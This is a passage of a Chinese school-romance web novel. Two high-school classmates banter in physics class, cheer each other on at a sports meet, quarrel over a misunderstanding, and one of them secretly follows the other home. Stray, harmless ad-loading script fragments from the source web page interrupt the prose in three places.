谭佳宜坐下时,米老头看了她一眼。她注意到老师的目光,也不刻意躲避,而是抬起头来,礼貌性地微笑点头,和老师问了好。 本来谭佳宜就是以第一名的成绩进来的,而且平时的物理成绩也一直很不错,自然受老师的器重。 米老头同样很和蔼地朝她点点头,又把刚才布置的任务重复了一遍。 这张卷子考察得是上节课讲的知识点,周泽楷觉得不算难,做得也还顺利,所以没一会儿就完成了。 他瞥了一眼旁边谭佳宜的进度,她正在做最后一题。算上她晚来的五分钟,速度可以说和他不相上下。 虽然上节课她没来,但上节课的题目倒是也做的得心应手。 本来周泽楷还担心她会落下进度,还在考虑要不要把笔记借她,现在看来应该不需要了。 过了一会儿,他注意到谭佳宜也写完了,把身子凑过去,小声问:“你回去看到我发的消息了吗?” 谭佳宜又掏出自己练习册,手上的动作没停,“没看到。你发的什么?” 她明知故问。 “也没什么,你回去看看就知道了。你假期在家没受欺负吧?” “这句话我觉得应该我问你?” “这是在关心我?”周泽楷嘴角勾起,露出一抹笑。 这是重点吗? 谭佳宜压根没想到这句话他能读出这层含义,她刚刚故意说没看到就是不想让他多想。 “谁关心你了,不过你在家应该是挺缺关心的吧?”她故意刺他的痛处。 “我这么大的人了,也不需要他们的关心了,我自己会关心我自己。当然,我更希望我在意的人也能关心关心我。” 周泽楷一双眸子突然变得深邃,声音也低沉了些。 这种心跳加速的感觉不知怎的又一次席卷过来,谭佳宜觉得胸口有些闷。 为什么每次他说这种模棱两可,又意有所指的话,她都会心慌。她尽力调整自己的呼吸,脑子飞速地转着,想着怎样回应才能掩饰住自己的慌乱。 就在这时,前面突然传来米老头浑厚的声音。 “周泽楷,你说什么呢?怎么还打扰你旁边的同学呢?题目做完了吗就在那儿讲小话,是当我眼睛不好使,还是耳朵不好使呢?” 明明米老头刚刚一直在低头看卷子,而且他们说话的声音也不大,难不成在他身上装了个摄像头。周泽楷十分不解。 “老师,我绝对没那个意思。题目我做完了,但笔恰好没水儿了,刚刚是找谭佳宜同学借笔。” 被训了也没反驳,周泽楷一副态度很好的样子,耐心地向老师解释。编起瞎话来也是一点儿不含糊。 “行吧,下次记得多准备几只笔芯,不要上课后才想起来找别人借,你说你考试的时候如果笔没水儿了,怎么办呢?” “那我就举手示意,让监考老师帮忙借。” 确实是标准答案,但这却不是米老头想听到的答案。 现在说这个,就等同于和他抬杠。 “那你知不知道,你借笔的时间会耽误做题的时间。尤其是竞赛考试,时间很紧,每一分每一秒都很宝贵,你浪费一分钟,可能就会失去一道题,甚至是晋级的资格。” 这点儿小事米老头也能延伸这么多。 周泽楷实在是无语,他怀疑米老头就是看他不顺眼。 “做完了是吧,那正好,上来把黑板上的这道题做一下。” 周泽楷扫了一眼题目,这分明是没有讲过的知识,估计这节课才讲。 看来不用怀疑了,是无疑,米老头就是看他不顺眼,想为难他。不过是为什么呢?他想着自己也没做什么出格的事儿吧。 点都被点上来了,硬着头皮也要试一试。 他又把题目细细地看了一遍,在脑海中搜寻着可能会用到的知识点。周泽楷把整个逻辑链条串联起来,一顿公式猛如虎,最后竟然解出来了。 幸好自己假期多预习了点,话说这还多亏了谭佳宜,要不是上次看见她在读那本高阶物理竞赛书,自己也不会想着去提前拓展一下。 米老头看到周泽楷写得如此顺畅,最后答案竟然还对了,也有几分惊讶。他仔细看了一遍他的过程,虽然用的不是他这节课要重点讲的知识点,但也用到了其他还没学过的知识,也算是殊途同归。 米老头原以为要用没讲过的知识点他是做不出来的,看来还是小看这小子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “还不错,看来进步还是很大的嘛。周泽楷同学能从开学考的物理不及格,到现在轻松拿捏物理竞赛难题,在下面一定是花了功夫的。所以啊,其他同学也要向他学习,只要用心,大家都可以学得很好。” 原来是这样啊,难怪米老头对他印象不好。 他也是记性好,开学考考砸的事儿能记到现在,怎么不记得上次预选赛自己还考了第二呢。看来自己以后在物理方面还是要谨慎点,尽量不要再留下污点了,不然又要被米老头抓着黑历史不放了。 周泽楷回到座位上,给谭佳宜写了张纸条。 “你看的那本书还挺不错的,你就代书接受我的谢意吧。” 纸条过了一会儿被推到他面前,下面多了一句话:“是该谢我,没有开学考的事儿你今天也没机会上去表现了。” 周泽楷这会儿才想起来,开学考这出戏还是谭佳宜设计的。看来这件事儿长尾效应还挺明显,先是开学典礼后的流言蜚语,后是米老头的针对。不过他其实觉得没什么,她想做什么,只要不是伤害她自己的,他都乐意奉陪。 “谢谢恩人,我就知道你一切都是用心良苦。”后面还加了个他上次发的表情包。 谭佳宜有些无语。 周泽楷怎么就是不会生气呢?自己明明做了伤害他的事情,还利用他,但他一点儿也不计较。他不会是在家里受气惯了,已经习惯当受气包了吧。 “还来,随你怎么想。” 这可是你说的,那我就当你是对我放下敌意了。 等等……她刚才说“还来”,之前自己应该是没说过这类话啊。 周泽楷的目光往后移动,定格在最后那个丑萌丑萌的表情包上,她不是说没看见消息嘛,怎么会…… 下课后,谭佳宜倒是没有要留的打算,很利落地收拾好东西就要走。周泽楷胡乱把书塞进包里,挎起包跟着出去。他身高腿长,没一会儿就从后面追上了谭佳宜。 “你这会儿是回景江丽苑吧,一起走吗?” “我还有事儿,这会儿不回去。”谭佳宜拒绝得干脆。 “那方便问一下你是去哪儿吗?没准儿我们顺路,还能一起走一段。” 谭佳宜突然停下脚步,转身有些不耐烦地说道:“我说不方便,也不顺路的话,你能别跟着我了吗?” “好,我不跟着你,你走吧。” 周泽楷的眼底闪过一丝落寞,他原以为他们的关系至少没那么僵了,没想到她变脸变得真的挺快的,怎么又突然和原来一样,态度冷冰冰的。 甩掉了周泽楷,谭佳宜终于松了口气,在她刚走出几步时,熟悉的声音再次从后面传来:“你是不是看到我发的消息了,为什么不回呢?为什么又要说没看见?” 她一下子愣住,却不敢回头,也不敢停下脚步。她明明可以继续狡辩,自己没有看见,但她突然不想说谎,不想再骗他了。 即使她知道,真话有时候会更伤人。 那就让他死心好了,最好别再白费力气。 他改变不了她的境遇,也改变不了她。 谭佳宜加快脚步,此时的沉默和回避已经给了周泽楷答案。 失落是有的,难过是有的,无措也是有的,但这又算得了什么呢? 既然已经决定做这件事,已经预知到过程的艰难,已经窥探过结局的悲惨……那么重来一次,他是不可能放弃的,他一定会抓住机会。 他相信,寒冰会融化,荆棘会生花。 15. 运动会&加油 第二天,所有同学都返校了,放假前就通知过的运动会也如期而至。 只不过学校举办活动是买一送一,运动会结束后立马就要进行十月月考,也就是他们入学后的第一次正式月考。因此,运动会的躁动也将被备考的紧张中和掉不少。 运动会要求班上每个人都至少要报一个项目,报名这件事儿班主任交给了班长和体委负责。 周泽楷看过报名表,谭佳宜报的是女子跳远。他记得小时候她体育就不错,尤其擅长短跑和跳远,每次运动会的时候都能拿前三名呢。 然而反观自己的体育,就没那么乐观了。 他知道自己没什么体育细胞,小时候也不喜欢参加这种集体活动,所以一遇到运动会,就会躲在画室里画画。 画画带给他平静,让他进入自己的小世界,自己想画什么就画什么,即使现实中没有,也可以在画中呈现出来。 小时候周泽楷不喜欢培训班的氛围,所以他的画画基本都是自学的。因此,周泽楷也常常安慰自己,上帝会把优点和缺点平均地分给每个人,给你关了一扇门,同时也会给你打开一扇窗。 他突然想到谭佳宜,她长得好、学习好、体育好,看似是块儿无暇的玉,那她的缺点是什么呢? 想着想着突然忍不住笑了出来。 周泽楷想起小学大合唱的时候,老师专门请谭佳宜出来单独唱。当时谭佳宜可自信了,觉得自己唱得特别好。只是大家听到的可能和她自己感觉到的有一点偏差。 和原曲相比,不能说没有关系,只能说毫不相干。 基本没一个音在调上,当时还惹得全班同学哄堂大笑。 周泽楷笑得莫名,还有点大声。虽然是下课,其他同学可能注意不到,但旁边的谭佳宜却是听的清清楚楚。 她扭头狐疑地看向他。 旁边也没人,难不成他一个人自娱自乐? “你突然笑什么,怪吓人的。” 周泽楷听闻,立马敛起笑容,偏头过去,“我在笑你。” 谭佳宜反应很迅速,也不上他的当,说道:“你刚才笑的时候看的是报名表,不是我。” 他双手合抱,往后一仰,饶有兴致地打量着她。 “谁说非要看你才会想起你,我回家还会想你呢。” 谭佳宜白了他一眼,留下一句:“有病。” “说正经的,明天运动会你会来给我加油吗?你也知道,我体育不好,但作为班长,我又不得不揽下这个没人报的2400米。以前我可是从来没尝试过这么长的距离。不过要是你来看的话,我肯定能跑完,没准儿还能超常发挥。” 周泽楷这瞎话又是信手拈来,其实他初中是锻炼过的,2400米也是跑过的。 虽然不能说体育特别好,但起码不是小学时的那个弱鸡了。但周泽楷心里清楚,这个时候,可能还是装一波可怜,打打感情牌才有效。 “班长既然是自己主动承担这个项目,那其中的风险和难度自己肯定事先都有考量。毕竟你那么聪明,超出自己体力的活应该是不会去做的。所以,谁去不去加油应该也影响不大,你说呢?” 周泽楷没想到她不接招,明明上次这样她就心软了啊。 只能说感情牌也有保质期,不是什么时候用都好使。 “你怎么断定我不会去做超出自己体力的事?虽然我大部分时候都比较理想,会权衡利弊,但如果是我想做的,需要做的事,就算是头破血流,我也会义无反顾地去做。 你来不来确实是你的自由,但我希望你来,也只在乎你会不会来。”少年语气笃定,眼神坚定。 “之前你怎么劝我参加运动会我都不愿意,现在我主动报名了,你不想来看看吗?” 他突然凑近了些,目光真挚热烈。 谭佳宜感紧把头扭过去,也没说去,也没说不去。 之前的回忆一下子涌上心头,时间被拉回了四年前,那是他们小学的最后一个运动会。 谭佳宜还是没能说服周泽楷。六年来,他仍旧雷打不动不参加运动会。 但是这一次她竟然在赛道旁看见了他。 人群中,他显得瘦小,但她还是一眼就能看见他。他默默地注视着她,以为自己微小的加油声她不会听见,谁知她一比完就直奔他的方向。 “你刚刚是不是在给我加油?” 小周泽楷有些不好意思,口是心非地说:“没有啊。那么多人都在给你加油,你听差了。” 他在撒谎,她只一眼就能看出。 小谭佳宜歪着头,把身体探向前方,看着他的眼睛,十分笃定地说道:“我看见了,别想抵赖。就算是你声音再小,也能给我力量。你看,这次我不就跑了个第一名,你功不可没呢。” 四年过去,之前瘦瘦小小的男孩已经长成了高挑挺拔的少年。 所以,这次是不是该换她去给他加油了? 第二天运动会,是个“天朗气清,惠风和畅”的日子,既不太晒,也不太冷,正适合室外运动。 自开学典礼以来,高一全体师生再次齐聚一堂,可谓声势浩大,热闹非凡。 女子跳远被安排在上午,男女2400米在下午,时间刚好错开。 不过上午竞赛组不知道抽哪门子风,临时通知没有项目的学生去参加竞赛培训。周泽楷原本打算上午去看谭佳宜比赛的,属实没想到竞赛组这么恶心,连运动会都不放过。 看来计划有变,只能重新规划了。 其实这次的竞赛培训说白了就是加练习题,并不会讲新的知识点。把任务布置下去自主完成就行,但教练们考虑到限时训练效果更好,所以就挑了这个“不合时宜”的点儿。 竞赛生的命也是命啊! 竞赛组就是这么肆无忌惮在他们雷区蹦迪吗? 既然如此,那就别怪我上有政策,下有对策。 这次情况有些特殊,考虑到有些老师也有运动项目,所以所有竞赛生,不论学科,都在一个教室做题。 只不过不幸的是,坐班老师就是他的竞赛教练——米老头。 翘整堂课的话,很容易被米老头发现。米老头本来就对他的印象稍有改观,这时候翘课肯定是往枪口上撞。 所以周泽楷决定见机行事,中途开溜。 走进教室,米老头一如既往,很积极地提前就位。 周泽楷环顾四周,发现同班同学里也只有一个陈淮北是搞数学竞赛的。他主动坐到他旁边,上下打量了一眼正在做题的少年。 看着挺专注的,应该没注意到他。 周泽楷轻拍了一下他的肩头,小声说道:“好巧啊,在这儿遇到了” 略显尴尬的开场白让对方也有些懵逼,他回答道:“不巧,班长大人贵人多忘事,之前竞赛组开全员大会的时候我们还见过呢。” 周泽楷被他噎得一时无语。 虽然他和陈淮北不熟,但他记得陈淮北是出了名的人缘好、好相处啊。怎么到他这儿跟吃了枪药似的,一见面就能嗅到一股火药味儿。 他实在想不通哪里得罪过他。 算了,该麻烦的还是要麻烦的。 周泽楷保持着微笑,摆出一副好态度,“还是你记性好,这点我要向你学习。” 他拍了拍陈淮北的背,故意拉近关 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 系,接着说道:“我想麻烦你个事儿。是这样的,中途我可能要出去一趟,如果米老头发现了,你就帮我找个理由糊弄过去。我不确定要多久,但肯定会尽快赶回来的。” 对方被这突如其来的请求搞得有点懵。 怎么向来遵规守纪的班长,还有要翘课的时候。 周泽楷一脸真挚地望着陈淮北,“拜托了,兄弟,改天请你吃饭。” 谁知对方突然笑了起来,笑得莫名其妙,弄得他一头雾水。 “原来你私下也叫他米老头啊,我还以为班长你特别正经一人儿,压根不会叫老师外号呢。” 周泽楷送了一口气,没想到他也是个会抓重点的人,也跟着笑了。 “今天运动会,你能有什么急事。不会是有什么项目,或者是什么人要去看吧。”陈淮北一语中的,直接猜出了周泽楷的心思。 “嗯。” 周泽楷没否定,很坦荡地承认了。 陈淮北愣了片刻神,拍了拍他的被,露出一个诡异的笑容,“兄弟,小问题,包在我身上,你只管放心去。” 时间一分一秒过去,周泽楷掐着表,估摸着快到谭佳宜的项目了。 又瞥了一眼讲台,这会儿米老头出去了,正是开溜的好时机。 他抓紧这个空窗期,大步流星地下了楼,又一路小跑着来到比赛场地。 好不容易穿过熙攘的人群,找到了跳远的地方。 只一眼,他便看见了正在排队的谭佳宜。 她正在专注地热身,小臂叠在另一只胳膊上往对侧拉伸。手臂修长,四肢纤细,瘦而不柴,小臂上的青筋和肌肉线条清晰可见。 没一会儿就轮到谭佳宜出场了。 她的第一跳发挥得有些不尽人意,助跑和起跳动作都很连贯,就连腾空的姿势也是相当漂亮。可惜最后落地时有些不稳,险些摔倒,还好她用手往后撑了一把。 只不过这样一来,成绩肯定是会受影响的。 每个人有两次机会,取最好成绩。 谭佳宜显然也觉得刚才没发挥好,眉头皱了皱,神色凝重。 可能是期待值太高,旁边的观众原本还是很活跃的状态,但当谭佳宜发挥失误后,一下子陷入了安静,只能听见一些小声的议论声。 有人感叹着太可惜了,有人说不是还有第二跳嘛,还有人说这下子压力来了。大家都屏住呼吸,拭目以待这位健将的第二跳。 这时,周泽楷挤到最前面,拿出那个玩偶,向谭佳宜挥挥手,又比了个加油的手势。 那个玩偶和之前他送的应该是一个系列的,不过这次它不是一副臭脸,而是露出了灿烂的笑容。 玩偶还竖起了大拇指,拇指朝外,仿佛是在给她助力。 谭佳宜紧缩的眉头终于舒展看来,嘴角也微不可查地向上勾了勾。她调整呼吸,瞄定目标,做好准备动作,蓄势待发。 枪声一响,谭佳宜向前奔去,周遭的一切都变得模糊,只有正前方的那个玩偶在笑着和她招手。 玩偶身后的那个人,终于大声喊出——“加油”。 第二跳十分完美,从助跑到起跳,再到最后的落地都无可挑剔。虽然不知道最后的名次怎么样,但她确实是发挥出了自己最好的成绩。 跳完后还要去还衣服,外加签字录入成绩。当谭佳宜把所有赛后事宜处理完后,再去回过头时,周泽楷已经不见了身影。 记得今天上午有竞赛培训,她压根没想到他会来,大概是偷溜出来的吧。 他什么时候胆子也变得这么大了? 想到这里,谭佳宜笑了。接着迈着轻快的步子向前走去。 16. 玫瑰&包装纸 男女2400米是下午第一个项目,运动员们早早地就开始检录了。这个项目是男女混跑,分开记时,代表十一班参赛的则是周泽楷和白依依。 检录的时候,一个班的都要站在一起,方便点名、发号码布。所以,周泽楷和白依依也自然地站在了一块儿。 虽说上一世他和白依依没打过几次交道,但怎么说也算是老同学了,现在两人都不说话属实有点尴尬。 算了,没准儿她也不想说话,我贸然上去没话找话也挺唐突。周泽楷在心里琢磨着,殊不知自己现在的冷脸模样有多恐怖。 简直是一副高冷、拒人千里之外的样子。 一旁白依依此刻完全是“如站针毡”。 周泽楷一定不知道,旁边的女孩进行了多大的心理建设,才鼓起勇气打破这尴尬的气氛。 白依依最后做了这个没话找话的人,先是和他寒暄了几句,又交流了一下一会儿比赛的事情。 聊了几句后,周泽楷其实也并不会觉得唐突,反而觉得她倒是给了彼此一个台阶下。同学之间,如果遇见了,却什么话都不说,那和陌生人又有什么两样呢? 和白依依的聊天很轻松,周泽楷感觉好像今天才算是真正认识了她。在周泽楷的印象里,上一世她都不怎么说话的。 聊着聊着,周泽楷总觉得她身上有种熟悉感。 她的长相,她的声音,怎么都跟一个人有点相似。是谁呢? 一个讨厌鬼的身影在脑海里浮现。 是周心雨! 不过,白依依倒是比周心雨强太多了。 虽然相貌声音像,但神情和气质却截然不同,她不似周心雨那般张扬跋扈,多了几分柔和亲切。 果然,环境造就人! 周泽楷突然冒出了一个奇怪的想法,要是白依依是他妹妹就好了。 周心雨那身臭脾气,一点儿也不可爱。 正当周泽楷和白依依聊得欢畅的时候,一个身影在转角盯着他们。 谭佳宜下午原本是打算去给周泽楷加油的,刚好班上有人发现周泽楷的运动护腕落下了,老师看谭佳宜是他同桌,就让谭佳宜帮忙送过去。她也就没推辞,接过护腕,往检录处走去。 刚要过去的时候,就撞见周泽楷和白依依聊天的情景。 印象中,他还没和别的女生聊得这么开心过。 谭佳宜顺势后退了几步。 她现在不想再上前一步,也不想去看他的比赛。反正给他加油的人多了去了,也不差她一个。 片刻后,一个女生突然走到周泽楷跟前,拿出一个黑色的护腕递给周泽楷,还顺带递给他一瓶水,低着头,有点不好意思,“周同学,这个给你。” 周泽楷有些疑惑地盯着她,女生连忙补充道:“护腕是你们班一个女生让我给你的,水是我专门去给你拿的,你收着吧。” 周泽楷接过护腕,没急着接水。他检查了一下护腕,确实是他的。 他还以为丢了呢,没想到上场前还能找到。 “水就不用了,你留着喝吧。” 那个女生知道自己是被拒绝了,也没好意思硬塞,拿着水走了。 人刚走,周泽楷不经意瞥了一眼场外,一个熟悉的背影映入眼帘,正往他们班看台的方向走去。他突然想起刚才那个女生说的话,一种强烈的直觉告诉他,女生刚才提到的人就是谭佳宜。 她明明都已经过来了,为什么不直接给他?绕这么一大圈干嘛,是不想见他吗? 许多疑惑在周泽楷心中打转,像丝线般缠成一团乱麻,让他百思不得其解。 他看了一眼手表,还有十几分钟,应该来得及。他快速地和白依依打了声招呼,就连忙飞奔出去。 眼前的少年风一般地疾驰而去,只剩白依依呆愣在原地。 他该不会是又有什么东西落下了吧。 没看出来,班长原来也是个大马虎。白依依在心里嘀咕着。 周泽楷一路狂奔,好不容易赶在谭佳宜回到看台前追上了她。他从后面一把拽住她的手,气喘吁吁地问:“你刚才是不是去给我送护腕的?” 他握得很紧,谭佳宜甩不开,所以也没再白费力气,就这么任由他拽着。 “我要是说没有呢。周泽楷,你不要觉得你来看我比赛了,我就一定要去看你比赛。铁杵可以磨成针,水滴可以穿石,但人不一样,不是所以付出都会有回报,最后只不过是一厢情愿、白费时间。” 周泽楷明明只问了一句,但谭佳宜却一下子回了十句。她的确有点生气,说这些话也就是想气气他。 “你就是去了。”周泽楷说得笃定,“不过你说得对,你确实没有一定要来的义务,也确实不是所有的付出都有回报。” 他终于松开她的手。 谭佳宜以为他是被她的话伤着了,但她没想到,他突然侧身出现在她前方,一只手撑在墙上,挡住她的去路。 这是看台的侧面,这会儿运动员已经就绪,观众要么上了看台,要么留在操场上,没人从这里经过。 广播里传来字正腔圆的加油稿,周遭伴随着嘈杂的喧闹声,而此刻这个地方,显得隐秘又安静,给足了两人独处的空间。 周泽楷凑近她,低沉着声音说道:“但是,我的努力在你这儿还是有点儿回响的。谭佳宜,你是不是吃醋了?” 他的气息灼人,语气里带着几分漫不经心,看似在问她,实则早已看穿了她的心思。 “有病。你爱和谁说话就和谁说话,关我什么事。我不关心你的事,你以后也别来管我。” 谭佳宜看起来像个气急败坏的小孩儿,直接给周泽楷整笑了。 “你笑什么?” “你不是不关心我嘛。还有,你转移话题干嘛,这不就变相承认了。”少年一改平时正经的样子,竟然也开始学着套路她了。 谭佳宜自知自己现在说不过他,也不想和他继续掰扯下去。既然他不让她往前走,那就趁他不注意,干脆从后面绕过去。 她刚转身,对方像是早就预料到一样,再次握住了她的手腕。 “还来,你就只会这招了?仗着我力气没你大,就屡试不爽?” 周泽楷怕弄疼她,立刻松了些力道,“对不起。但我只是想让你听我把话说完,总要给一个解释的机会吧。” 谭佳宜有些神情不耐,但也没把他的手甩开。 现在她心里,其实是想听听他怎么说的吧。 “白依依是我以前的同学。” “初中同学?” “不是。不是小学同学,也不是初中同学。” “所以合着你们是幼儿园就认识了?” “倒是没那么早。” 哼!既然都不是,那就是高中同学了。这个事实不仅他知道,她也知道,全班都知道。 周泽楷怎么连编个像样的理由都不会啊! “所以我说是以前的高中同学,你信吗?” 谭佳宜的脸彻底黑了,她压根不想听周泽楷在这儿拐弯抹角。她点了点头,“我信。但有这编故事的功夫,你还是去医院看看吧。” 就知道她不会相信,谭佳宜正用一种看智障的眼神打量着周泽楷。 算了,这个之后在解释吧。 “事情有点复杂,但是我以前跟她真不熟。今天是因为我们一个项目,而且是一个班的,也就闲聊了几句。我承认,我和她刚才聊得确实挺开心的,但是这纯纯是因为她给我一种莫名的亲切感。额……怎么说呢?就是……” 周泽楷一时语无伦次,对方却只想给他个白眼。 知道你对她有亲切感,毕竟你们是渊源颇深的故友。谭佳宜在心里吐槽。 “你不觉得她长得很像一个人吗?” 他突然这么问,谭佳宜在脑海中回想起白依依的面庞。好像真的和一个人对上了,她有些惊诧地望向周泽楷。 “你也觉得挺像的吧,但周心雨的脾气可差太多了。所以,仅仅是因为她像周心雨,从而产生了几分熟悉感和亲切感。也许是我太讨厌周心雨这个妹妹了,还要从别人身上找自己心里理想妹妹的影子,是不是还挺可悲的?” 周泽楷的眼眸暗了几分,声音也弱了下来,不像是在说给别人听,而像是在自言自语。 谭佳宜没做声,只是静静地看着他。 少年总是把温暖明媚的一面展现给她,让她几乎快忘了,他身上的伤疤。 他也有个不幸的童年,有个糟心的家庭,在缺乏爱意中成长,在冷落忽视中习惯不被偏爱。 周泽楷终于放开了谭佳宜的手,他看了看表,时间已所剩无几。 这次,是他先转身,留她站在原地目送。 没走几步,周泽楷又回头挥了挥手,留下一句:“你会来的,对吗?” 看似问句,却没等对方回答,随后便转身跑了起来。 少年的背影单薄,脚步却是矫健有劲。 独属青春的气息在空气里激荡,是那样的充 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 满朝气,明媚向上。 谭佳宜倚在墙边,低垂着脑袋,她现在心乱得很。 是周泽楷说得那样吗?她吃醋了? 不可能,她怎么会吃他的醋。 那为什么又会在意,又会难受呢? 显然,谭佳宜最不想看到的局面出现了。 一种不该产生的情愫在她心里早就埋下了种子,一遇见阳光和水,就开始飞速地破土而出,发芽疯长。 不可控、藏不住。 她的心被揪着,拉扯着她向两个不同的方向,她在其中徘徊、权衡、挣扎。 但有些事终究是冲破了理智,谭佳宜抬起头,目光投向操场。 她没有回看台,而是向跑道边走去。 2400米比赛马上开始,周泽楷上了跑道还不忘四处张望,寻找谭佳宜的身影。 跑道边上聚集的人很多,都是来给选手们加油的。场地中间还有其他项目在同时进行,所以对于这种长距离赛跑,最后能全程看完的,估计也就没这么多人了。 突然,场外传来一声呐喊:“依依,加油,你一定可以的。” 这一嗓子,几乎很难不被注意到。 周泽楷望过去,发现这不就是他们班的邵雨涵嘛,旁边还站着陈淮北和何西飞,应该都是来给白依依加油的。 看来白依依的亲友团人还不少。 邵雨涵终于注意到周泽楷,发现他也在看自己,有点儿心虚自己把他给忘了,连忙补充道:“班长,你也加油。” 其实周泽楷也不缺她这一声加油,毕竟场外给周泽楷加油的人还是不少的。甚至一些外班的女生还专门来看他,但都保持着少女的矜持与娇羞,没好意思直接喊加油。 不过这个年纪小女生的一些心思,其实互相都心知肚明。 比赛开始前,周泽楷还是没等来他希望来的人,虽然也预想是这种结果,但他心里多少还是有些失落。 她,真的不会来了吗? 枪声一响,运动员们齐刷刷地向前跑去。刚开始大家都压着点速度,害怕用光力气之后就跑不动了。但周泽楷却没按照常规操作来,一上来就把速度提到了最快,直接冲到了队伍的最前面。 这会儿,他不想去想别的。一旦放慢脚步,就又有可能去搜寻谭佳宜的身影,这势必会更影响他的比赛。 所以他选择铆足劲儿,只管往前冲。尽管他也知道这不是个明智的策略。 周泽楷也不确定自己的体力支不支撑得到最后一圈,但他还是选择不顾一切地向前迈步。 事实证明,他确实高估了自己的实力。 前两圈还勉强维持着速度,但从第三圈开始,他明显感到呼吸有些紊乱,腿也开始发酸。 不知不觉,速度一圈比一圈慢。但其他选手之前保留了体力,现在纷纷开始发力,有超过他的势头。周泽楷尽力提了提速,勉强着维持前面几圈的优势。 终于到了最后一圈,周泽楷感觉自己的腿越来越沉重,像是灌了铅一样。呼吸也变得急促。 虽然还是暂居第一,但后面的人开始冲刺,颇有后来居上的趋势。照目前这个形式来看,周泽楷被超是迟早的事儿。 周泽楷突然觉得脑袋昏昏沉沉的,视线都开始变得模糊。他就这么眼睁睁地看着后面的人一个个从他身边越过。恍惚间,一种无力感一下子涌了上来。他突然想到了谭佳宜在监狱里的最后一笑,当时他望着她,内心也是这么一种感觉。 快到最后一个弯道的时候,周泽楷晃了晃头,试图让自己打起精神,最后再搏一把。就在他把头摆向场外一侧时,一个熟悉的身影映入眼帘。 她默默站在人群中,和她们一起喊着:周泽楷,加油。 世界是黑白的,唯有她一个人是彩色的。像是雨后的彩虹,会给人带来力量和好心情。 这是幻境还是现实? 周泽楷来不及思考,来不及回望,来不及确定,但他确确实实感觉又有了动力。 调整呼吸,加速,加速,再加速。 一鼓作气,周泽楷冲过了终点。 场外是掌声和惊呼声,都在赞叹他最后的绝地反击。但周泽楷的眼里却只剩一旁的少女。 其实这个第一名他也不是非要拿,但是他等到了他想见的那个人,就一定不会让她失望。他要把这最好的奖牌,摘来与她相当。 她是耀眼的玫瑰,浑身是刺,也光芒万丈。 他便要做最好看的包装纸,将她供养。 17. 端倪&“加餐” 运动会结束后,大家开始全身心地投入到备考中。虽然只有短短五天的时间,但大部分人还是有“临阵磨枪,不快也光”的思想觉悟,学习方面也比平时抓得更紧了,一些零碎的时间开始被复习占据。 就拿午休来说,平时他们在学校吃过午饭后,就可以自由安排了。你可以回宿舍休息,住得近的当然也可以选择回家,只要在下午上课前回班就行。 但这几天,每天中午教室里都有不少同学留下来自习,可以说学习氛围还是挺浓厚的。 不过,也总有些人例外。 对他们来说,平时学得扎实,考试只不过是一个限时训练罢了,比如谭佳宜。 据周泽楷观察,这段时间她中午一下课就出去了,也没在学校吃午饭。他之前悄悄跟过她,看她是回家了,所以也没太在意。 周泽楷有一次问她,要不要中午一起吃饭。毕竟家里没人做饭,中午不吃食堂的话,他担心她不好好吃饭。但谭佳宜只是糊弄着说家里有吃的,拒绝了他的邀约。 确实是拒绝,但并不同于刚开学时的疏离。 周泽楷总感觉,自从上次运动会结束后,谭佳宜有点儿躲着他,之前的她虽然针对他,但也是明目张胆地和他针锋相对。 他说不上来这是不是一个好的转变,是否至少代表她开始直面自己的内心,不那么抗拒他了。但也有可能她是真有什么事儿瞒着自己,冥冥之中,周泽楷总有一种不详的预感。 算了,等考试过后再说吧。 十月月考在两天紧锣密鼓中结束了,五中继续保持着极高的改卷效率,隔天考试成绩就出来了。 这一次没有上次的小插曲,周泽楷正常发挥,他知道以自己的实力,前几名应该是没问题的。但让他没想到的是,这次竟然一下子从班级二十多名,飞升到班级第一。 只是第二却不是谭佳宜,而是陈淮北! 看来谭佳宜说这个竞争对手很强劲,倒是说得没错。 不过谭佳宜现在可能还多了个竞争对手,那就是他! 前三的分数咬得很紧,都只有一两分只差。所以说实力都是差不多的,只是看谁发挥得更好。 周泽楷想到谭佳宜最近中午都见不着人,想着她该不会是最近有什么事情分神了。 他一面有些担心,想着还是得找机会跟去看看,一面又有些心虚,毕竟这次他考得不错。而她肯定不希望他考得好,至少不能比她高。 有句话是怎么说的,“比起自己的失败,更让人糟心的是同伴的成功”。谭佳宜大概也有点儿这种心态,何况她之前还把自己当作仇人呢。 中午放学后,谭佳宜还是照旧地回家,这次周泽楷绝决定好好观察一番。 之前他只是远远地看她进了小区,于是就回学校了。但这一次,他没有急着走,而是跟着她进了小区。 周泽楷找了个隐蔽点的角落。从这个地方,刚好可以看见谭佳宜那栋楼。 过了约莫十分钟,谭佳宜果然下来了。只是她上去的时候是一个人,下来的时候却变成了两个人。 她换了身衣服,黑色皮衣飒爽酷帅,又戴上了那顶蓝色假发。在校外,不说是谭佳宜,还真没人能认出她。后面跟着个男生,也披个黑色夹克。 还真别说,他们俩这穿搭,这身型,还真有那么几分般配。 他们稍稍走近一点,周泽楷终于看清了男生的脸。 七哥!他怎么会在这里? 他该不会是从谭佳宜家里出来的吧? 忍不了,真是忍不了一点儿! 孤男寡女,独处一室,成何体统! 周泽楷正准备一个箭步冲上去,好好质问一番。 然而理智终是战胜了冲动。他突然顿住了脚步,想着自己现在上去问,也没什么立场。俩人如果都矢口否认,那自己不就成小丑了。 周泽楷还是决定不要贸然行动,打草惊蛇。 他在心里告诉自己:算了,忍一时风平浪静。 七哥和谭佳宜来到楼下停着的一辆摩托车旁。车身是纯黑的,除了一些金属装饰。车型是类似赛车的款式,总体还是蛮酷的。 七哥从车龙头上拿下来一个头盔,递给了谭佳宜,又拿起另一个,戴在了自己头上。 现在一切看起来还挺正常的。 七哥转过去盯着谭佳宜看了一番,用手扶住她的头盔,左右调整了一下。在帮她扣最下面的扣锁时,周泽楷分明看见,他的手触到了谭佳宜的脖颈。 少女脖颈纤细,肌白如雪。前面一双黝黑的大手实在晃得周泽楷眼疼。 怎么动手动脚的,帮忙难道不能口述吗? 周泽楷觉得自己再退估计都要退到太平洋之外了。 敏感如他。但周泽楷可能忘了,自己平时和谭佳宜的互动,也没少上手。 他按捺着心中的不悦,安慰自己:没事,没事。要相信谭佳宜,也要相信七哥,他们没什么的,只是纯纯的革命友谊。 对,一定是这样。 